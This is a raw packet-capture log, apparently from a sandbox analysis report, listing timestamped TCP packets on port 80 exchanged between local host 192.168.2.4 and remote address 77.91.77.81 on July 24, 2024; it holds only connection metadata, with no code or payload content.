Jul 24, 2024 02:39:12.247514963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.247528076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.265705109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.265717983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.265754938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.265782118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266072035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266094923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266108990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266115904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266125917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266135931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266140938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266144037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266155005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266156912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266170025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266184092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266185045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266195059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266197920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266211987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266211987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266226053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266228914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266241074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266242981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266254902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266263008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266278982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.266340971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.266385078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267138004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267180920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267193079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267209053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267234087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267242908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267246008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267261028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267275095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267287016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267296076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267322063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267399073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267441034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267568111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267610073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267610073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267626047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267649889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267663002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267697096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267710924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267724991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267735004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267744064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267759085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267788887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267805099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267827988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267839909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267910004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267923117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267936945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.267949104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267961979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.267980099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268007994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268023014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268038034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268053055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268054008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268069983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268079996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268089056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268115997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268188000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268204927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268235922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268249989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268282890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268297911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268312931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268321037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268332005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268347979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268469095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268491983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268505096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268517017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268521070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268537045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268551111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268565893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268574953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268610954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268611908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268611908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268611908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268631935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268712997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268728018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268742085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268752098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268773079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268773079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268800974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268841982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268866062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268882036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268909931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268922091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.268934965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.268970966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269002914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269017935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269042015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269053936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269100904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269119024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269135952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269155025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269224882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269239902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269254923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269267082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269270897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269277096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269285917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269287109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269303083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269320965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.269370079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.269407988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276432991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276508093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276792049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276813030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276829004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276834965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276843071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276854038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276858091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276861906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276870966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276879072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276886940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276887894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276900053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276906967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276915073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276916981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276928902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276937008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276951075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276952028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276959896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.276974916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276988983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.276992083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277004004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277015924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277019978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277028084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277034998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277036905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277049065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277055979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277065039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277065039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277085066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277096033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277298927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277343035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277378082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277394056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277407885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277416945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277422905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277430058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277437925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277443886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277456045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277462959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277471066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.277472019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277491093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.277503014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337627888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337651014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337666988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337677956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337682962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337698936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337706089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337706089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337714911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337718010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337730885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.337738037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337748051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.337766886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338368893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338413000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338421106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338454962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338469982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338505030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338512897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338541031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338541985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338577032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338583946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338609934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338619947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338645935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338653088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338680029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338687897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338715076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338721991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338747978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338759899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338788033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338794947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338821888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338831902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338855982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.338864088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338893890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.338979006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.339015961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.339031935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.339060068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.356708050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356774092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.356796980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356829882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356848955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.356883049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.356884003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356924057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.356935978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356971979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.356981039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357006073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357016087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357042074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357044935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357084990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357095003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357135057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357229948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357263088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357281923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357295990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357307911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357330084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357366085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357367992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357367992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357395887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357407093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357441902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357770920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357822895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357824087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357857943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357865095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357902050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.357939005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357971907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.357974052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358005047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358016014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358041048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358047962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358172894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358422995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358457088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358474016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358489990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358494997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358531952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358544111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358576059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358589888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358609915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358618021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358653069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358695030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358726025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358736038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358761072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358767986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358805895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358813047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358848095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358855963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358880997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358890057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358917952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358927011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358957052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358964920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.358990908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.358999968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359025955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359031916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359066010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359106064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359136105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359143972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359169960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359175920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359204054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359210968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359236956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359245062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359271049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359277964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359306097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359313965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359348059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359415054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359447002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359463930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359479904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359493971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359513998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.359527111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.359549046 CEST	80	49731	77.91.77.81	192.168.2.4
